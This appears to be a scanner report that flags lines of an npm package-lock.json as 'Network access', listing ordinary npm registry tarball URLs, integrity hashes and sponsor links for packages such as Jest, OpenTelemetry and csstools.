    "version": "0.2.3",       "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",       "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==",
  • Network accessline 754
    "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
  • Network accessline 759
    "node_modules/@csstools/color-helpers": {       "version": "5.1.0",       "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz",
  • Network accessline 760
    "version": "5.1.0",       "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz",       "integrity": "sha512-S11EXWJyy0Mz5SYvRmY8nJYTFFd1LCNV+7cXyAgQtOOuzb4EsgfqDufL+9esx72/eLhsRdGZwaldu/h+E4t4BA==",
  • Network accessline 761
    "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz",
  • Network accessline 765
    {           "type": "github",           "url": "https://github.com/sponsors/csstools"
  • Network accessline 766
    "type": "github",           "url": "https://github.com/sponsors/csstools"         },
  • Network accessline 767
    "url": "https://github.com/sponsors/csstools"
  • Network accessline 769
    {           "type": "opencollective",           "url": "https://opencollective.com/csstools"
  • Network accessline 770
    "type": "opencollective",           "url": "https://opencollective.com/csstools"         }
  • Network accessline 771
    "url": "https://opencollective.com/csstools"
  • Network accessline 779
    "node_modules/@csstools/css-calc": {       "version": "2.1.4",       "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz",
  • Network accessline 780
    "version": "2.1.4",       "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz",       "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==",
  • Network accessline 781
    "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz",
  • Network accessline 785
    {           "type": "github",           "url": "https://github.com/sponsors/csstools"
  • Network accessline 786
    "type": "github",           "url": "https://github.com/sponsors/csstools"         },
  • Network accessline 787
    "url": "https://github.com/sponsors/csstools"
  • Network accessline 789
    {           "type": "opencollective",           "url": "https://opencollective.com/csstools"
  • Network accessline 790
    "type": "opencollective",           "url": "https://opencollective.com/csstools"         }
  • Network accessline 791
    "url": "https://opencollective.com/csstools"
  • Network accessline 803
    "node_modules/@csstools/css-color-parser": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz",
  • Network accessline 804
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz",       "integrity": "sha512-nbtKwh3a6xNVIp/VRuXV64yTKnb1IjTAEEh3irzS+HkKjAOYLTGNb9pmVNntZ8iVBHcWDA2Dof0QtPgFI1BaTA=="
  • Network accessline 805
    "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz",
  • Network accessline 809
    {           "type": "github",           "url": "https://github.com/sponsors/csstools"
  • Network accessline 810
    "type": "github",           "url": "https://github.com/sponsors/csstools"         },
  • Network accessline 811
    "url": "https://github.com/sponsors/csstools"
  • Network accessline 813
    {           "type": "opencollective",           "url": "https://opencollective.com/csstools"
  • Network accessline 814
    "type": "opencollective",           "url": "https://opencollective.com/csstools"         }
  • Network accessline 815
    "url": "https://opencollective.com/csstools"
  • Network accessline 831
    "node_modules/@csstools/css-parser-algorithms": {       "version": "3.0.5",       "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz",
  • Network accessline 832
    "version": "3.0.5",       "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz",       "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf7
  • Network accessline 833
    "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz",
  • Network accessline 837
    {           "type": "github",           "url": "https://github.com/sponsors/csstools"
  • Network accessline 838
    "type": "github",           "url": "https://github.com/sponsors/csstools"         },
  • Network accessline 839
    "url": "https://github.com/sponsors/csstools"
  • Network accessline 841
    {           "type": "opencollective",           "url": "https://opencollective.com/csstools"
  • Network accessline 842
    "type": "opencollective",           "url": "https://opencollective.com/csstools"         }
  • Network accessline 843
    "url": "https://opencollective.com/csstools"
  • Network accessline 854
    "node_modules/@csstools/css-tokenizer": {       "version": "3.0.4",       "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz",
  • Network accessline 855
    "version": "3.0.4",       "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz",       "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==",
  • Network accessline 856
    "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz",
  • Network accessline 860
    {           "type": "github",           "url": "https://github.com/sponsors/csstools"
  • Network accessline 861
    "type": "github",           "url": "https://github.com/sponsors/csstools"         },
  • Network accessline 862
    "url": "https://github.com/sponsors/csstools"
  • Network accessline 864
    {           "type": "opencollective",           "url": "https://opencollective.com/csstools"
  • Network accessline 865
    "type": "opencollective",           "url": "https://opencollective.com/csstools"         }
  • Network accessline 866
    "url": "https://opencollective.com/csstools"
  • Network accessline 874
    "node_modules/@hono/node-server": {       "version": "2.0.12",       "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.0.12.tgz",
  • Network accessline 875
    "version": "2.0.12",       "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.0.12.tgz",       "integrity": "sha512-eWpQYr67tqJLeaSUl0Q+TquuYfUdTibpOJlUMV2FfUP7+KqCC5TufnwnlXL6mobZBJbGAYRd7ZvEBDCbLInjhg==",
  • Network accessline 876
    "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-2.0.12.tgz",
  • Network accessline 888
    "node_modules/@istanbuljs/load-nyc-config": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
  • Network accessline 889
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",       "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ=="
  • Network accessline 890
    "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
  • Network accessline 905
    "node_modules/@istanbuljs/schema": {       "version": "0.1.6",       "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.6.tgz",
  • Network accessline 906
    "version": "0.1.6",       "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.6.tgz",       "integrity": "sha512-+Sg6GCR/wy1oSmQDFq4LQDAhm3ETKnorxN+y5nbLULOR3P0c14f2Wurzj3/xqPXtasLFfHd5iRFQ7AJt4KH2cw==",
  • Network accessline 907
    "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.6.tgz",
  • Network accessline 915
    "node_modules/@jest/console": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz",
  • Network accessline 916
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz",       "integrity": "sha512-5Ni4CU7XHQi32IJ398EEP4RrB8eV09sXP2ROqD4bksHrnTree52PsxvX8tpL8LvTZ3pFzXyPbNQReSN41CAhOg==",
  • Network accessline 917
    "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.7.0.tgz",
  • Network accessline 933
    "node_modules/@jest/core": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz",
  • Network accessline 934
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz",       "integrity": "sha512-n7aeXWKMnGtDA48y8TLWJPJmLmmZ642Ceo78cYWEpiD7FzDgmNDV/GCVRorPABdXLJZ/9wzzgZAlHjXjxDHGsg==",
  • Network accessline 935
    "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.7.0.tgz",
  • Network accessline 981
    "node_modules/@jest/environment": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz",
  • Network accessline 982
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz",       "integrity": "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw==",
  • Network accessline 983
    "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz",
  • Network accessline 997
    "node_modules/@jest/expect": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz",
  • Network accessline 998
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz",       "integrity": "sha512-8uMeAMycttpva3P1lBHB8VciS9V0XAr3GymPpipdyQXbBcuhkLQOSe8E/p92RyAdToS6ZD1tFkX+CkhoECE0dQ==",
  • Network accessline 999
    "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz",
  • Network accessline 1011
    "node_modules/@jest/expect-utils": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz",
  • Network accessline 1012
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz",       "integrity": "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA==",
  • Network accessline 1013
    "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz",
  • Network accessline 1024
    "node_modules/@jest/fake-timers": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz",
  • Network accessline 1025
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz",       "integrity": "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ==",
  • Network accessline 1026
    "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz",
  • Network accessline 1042
    "node_modules/@jest/globals": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz",
  • Network accessline 1043
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz",       "integrity": "sha512-mpiz3dutLbkW2MNFubUGUEVLkTGiqW6yLVTA+JbP6fI6J5iL9Y0Nlg8k95pcF8ctKwCS7WVxteBs29hhfAotzQ==",
  • Network accessline 1044
    "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz",
  • Network accessline 1058
    "node_modules/@jest/reporters": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz",
  • Network accessline 1059
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz",       "integrity": "sha512-DApq0KJbJOEzAFYjHADNNxAE3KbhxQB1y5Kplb5Waqw6zVbuWatSnMjE5gs8FUgEPmNsnZA3NCWl9NG0ia04Pg==",
  • Network accessline 1060
    "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz",
  • Network accessline 1102
    "node_modules/@jest/schemas": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz",
  • Network accessline 1103
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz",       "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==",
  • Network accessline 1104
    "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz",
  • Network accessline 1115
    "node_modules/@jest/source-map": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz",
  • Network accessline 1116
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz",       "integrity": "sha512-MHjT95QuipcPrpLM+8JMSzFx6eHp5Bm+4XeFDJlwsvVBjmKNiIAvasGK2fxz2WbGRlnvqehFbh07MMa7n3YJnw==",
  • Network accessline 1117
    "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz",
  • Network accessline 1130
    "node_modules/@jest/test-result": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz",
  • Network accessline 1131
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz",       "integrity": "sha512-Fdx+tv6x1zlkJPcWXmMDAG2HBnaR9XPSd5aDWQVsfrZmLVT3lU1cwyxLgRmXR9yrq4NBoEm9BMsfgFzTQAbJYA==",
  • Network accessline 1132
    "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz",
  • Network accessline 1146
    "node_modules/@jest/test-sequencer": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz",
  • Network accessline 1147
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz",       "integrity": "sha512-GQwJ5WZVrKnOJuiYiAF52UNUJXgTZx1NHjFSEB0qEMmSZKAkdMoIzw/Cj6x6NF4AvV23AUqDpFzQkN/eYCYTxw==",
  • Network accessline 1148
    "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz",
  • Network accessline 1162
    "node_modules/@jest/transform": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz",
  • Network accessline 1163
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz",       "integrity": "sha512-ok/BTPFzFKVMwO5eOHRrvnBVHdRy9IrsrW1GpMaQ9MCnilNLXQKmAX8s1YXDFaai9xJpac2ySzV0YeRRECr2Vw==",
  • Network accessline 1164
    "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz",
  • Network accessline 1189
    "node_modules/@jest/types": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz",
  • Network accessline 1190
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz",       "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==",
  • Network accessline 1191
    "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz",
  • Network accessline 1207
    "node_modules/@jridgewell/gen-mapping": {       "version": "0.3.13",       "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
  • Network accessline 1208
    "version": "0.3.13",       "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",       "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
  • Network accessline 1209
    "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
  • Network accessline 1218
    "node_modules/@jridgewell/remapping": {       "version": "2.3.5",       "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
  • Network accessline 1219
    "version": "2.3.5",       "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",       "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
  • Network accessline 1220
    "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
  • Network accessline 1229
    "node_modules/@jridgewell/resolve-uri": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 1230
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",       "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
  • Network accessline 1231
    "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
  • Network accessline 1239
    "node_modules/@jridgewell/sourcemap-codec": {       "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 1240
    "version": "1.5.5",       "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",       "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="
  • Network accessline 1241
    "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
  • Network accessline 1246
    "node_modules/@jridgewell/trace-mapping": {       "version": "0.3.31",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
  • Network accessline 1247
    "version": "0.3.31",       "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",       "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
  • Network accessline 1248
    "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
  • Network accessline 1257
    "node_modules/@modelcontextprotocol/sdk": {       "version": "1.32.1",       "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz",
  • Network accessline 1258
    "version": "1.32.1",       "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz",       "integrity": "sha512-2DdE+SJDtzLEEWzY1ZjY7Q+VcPhcV1KisD3zI4u0XZyktsjHum1mwbMI+JaulUBi2OZk+KJAi2uPXzxichPkdw==",
  • Network accessline 1259
    "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz",
  • Network accessline 1299
    "node_modules/@opentelemetry/api": {       "version": "1.9.1",       "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz",
  • Network accessline 1300
    "version": "1.9.1",       "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz",       "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==",
  • Network accessline 1301
    "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz",
  • Network accessline 1309
    "node_modules/@opentelemetry/api-logs": {       "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.221.0.tgz",
  • Network accessline 1310
    "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.221.0.tgz",       "integrity": "sha512-OlanaW1vv7ufTqQ3/fPLI4arGt5ZoM+P8abOMki6uEYnpRazepSWDwDnnw+la7kE26SHVC18//SMccrDvLKOXQ==",
  • Network accessline 1311
    "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.221.0.tgz",
  • Network accessline 1322
    "node_modules/@opentelemetry/context-async-hooks": {       "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.10.0.tgz",
  • Network accessline 1323
    "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.10.0.tgz",       "integrity": "sha512-bvyMcgLEkozzSzpEEEo1OMoeQ97bxj6Qs2uN3mPrSdDvObMI1myffD/BPqcLlzZO9//d1SqQA/WP
  • Network accessline 1324
    "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.10.0.tgz",
  • Network accessline 1335
    "node_modules/@opentelemetry/core": {       "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.10.0.tgz",
  • Network accessline 1336
    "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.10.0.tgz",       "integrity": "sha512-/wNZ8twnEQQA4HoHu22+vcsdru6pWPWxW+7w+FlxT6Id7PE/WIbZmVKkte+PF72e0F2dnImFeHD2syyE1Mw6MQ==",
  • Network accessline 1337
    "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.10.0.tgz",
  • Network accessline 1351
    "node_modules/@opentelemetry/exporter-trace-otlp-http": {       "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.221.0.tgz",
  • Network accessline 1352
    "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.221.0.tgz",       "integrity": "sha512-AySXiKoC+meiWm6zdVj5T2LnPDZuatveBby1cMOeQteIWsYXAUxs8Sru13G2pVSP
  • Network accessline 1353
    "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.221.0.tgz",
  • Network accessline 1369
    "node_modules/@opentelemetry/otlp-exporter-base": {       "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.221.0.tgz",
  • Network accessline 1370
    "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.221.0.tgz",       "integrity": "sha512-UFPIq80OH3Ns/oPFHRj14d4DTOxUo+MUFU8hUiCq5jTqFhdeJnfVSANHT+xp92409cA+oxzvlZCe
  • Network accessline 1371
    "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.221.0.tgz",
  • Network accessline 1386
    "node_modules/@opentelemetry/otlp-transformer": {       "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.221.0.tgz",
  • Network accessline 1387
    "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.221.0.tgz",       "integrity": "sha512-lg6lkOU08Az23jVcn/0Els9HP+V8PnR4Km6p0KgpTggS0n/WuhnmY64rSh83Of9iR9nD+dpWr6adlcX8
  • Network accessline 1388
    "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.221.0.tgz",
  • Network accessline 1407
    "node_modules/@opentelemetry/resources": {       "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.10.0.tgz",
  • Network accessline 1408
    "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.10.0.tgz",       "integrity": "sha512-q6MMm2zhggzsHVNbabYwut+a6nbuQQe3URUoxaojM/8K1IBfwwPzvxIjNi2/lI1TFe+fMHMW9MWhrtDLEXEnkA==",
  • Network accessline 1409
    "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.10.0.tgz",
  • Network accessline 1424
    "node_modules/@opentelemetry/sdk-logs": {       "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.221.0.tgz",
  • Network accessline 1425
    "version": "0.221.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.221.0.tgz",       "integrity": "sha512-FaDcazjyMp7TZZZAsqbo4IkovP0UegoCu0EBkiNt+qCqvUf7FPAsfcrZ3+ZEkKgXZ/jHafop+JoGPDk3A0SmLg==",
  • Network accessline 1426
    "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.221.0.tgz",
  • Network accessline 1443
    "node_modules/@opentelemetry/sdk-metrics": {       "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.10.0.tgz",
  • Network accessline 1444
    "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.10.0.tgz",       "integrity": "sha512-t6r1VSvXNtSDnPXU1FbZeetJb7yyovHmgu0wRSoftxtE0g2rSNhQZQUy69sRUCL+iioJpX8SN/S6wq6ZtvLySQ==",
  • Network accessline 1445
    "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.10.0.tgz",
  • Network accessline 1460
    "node_modules/@opentelemetry/sdk-trace": {       "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.10.0.tgz",
  • Network accessline 1461
    "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.10.0.tgz",       "integrity": "sha512-MfQGq3GRmTh5fM/y+OjaO0vj6+luCB1XO2gfXCalKCfgKw0eHL++sm75DNweC6ohlp+aFvACqeE0fYayqdRaoQ==",
  • Network accessline 1462
    "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.10.0.tgz",
  • Network accessline 1478
    "node_modules/@opentelemetry/sdk-trace-base": {       "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.10.0.tgz",
  • Network accessline 1479
    "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.10.0.tgz",       "integrity": "sha512-GuYQQT7QD2EeO8lcZLRQzcbOyhqAzL+6WWTKTU9mSUBYBazkEDl+VrQcXQhbB08OWM9anD1aHleVadzulpOaUQ
  • Network accessline 1480
    "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.10.0.tgz",
  • Network accessline 1497
    "node_modules/@opentelemetry/sdk-trace-node": {       "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.10.0.tgz",
  • Network accessline 1498
    "version": "2.10.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.10.0.tgz",       "integrity": "sha512-GZK/G6oZyBLGlH1pUgeDch7D91KoHd2uotUGIkWCPi9GI5T9X0p4L7nNAMDR1BQjkRYoDqo+ddfVx9t5Uhys+Q
  • Network accessline 1499
    "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.10.0.tgz",
  • Network accessline 1515
    "node_modules/@opentelemetry/semantic-conventions": {       "version": "1.43.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz",
  • Network accessline 1516
    "version": "1.43.0",       "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz",       "integrity": "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKU
  • Network accessline 1517
    "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz",
  • Network accessline 1525
    "node_modules/@oven/bun-darwin-aarch64": {       "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-darwin-aarch64/-/bun-darwin-aarch64-1.4.2.tgz",
  • Network accessline 1526
    "version": "1.4.2",       "resolved": "https://registry.npmjs.org/@oven/bun-darwin-aarch64/-/bun-darwin-aarch64-1.4.2.tgz",       "integrity": "sha512-MXdZkP1featqxZ+/VTXWG1BVjM4OGBehVY2Q88EeUj/7L0UMeCGItmyPYTN+wxvlGJ6F66JEtzsw+GvQWewnag=="
  • Network accessline 1527
    "resolved": "https://registry.npmjs.org/@oven/bun-darwin-aarch64/-/bun-darwin-aarch64-1.4.2.tgz",
  • Network accessline 1538
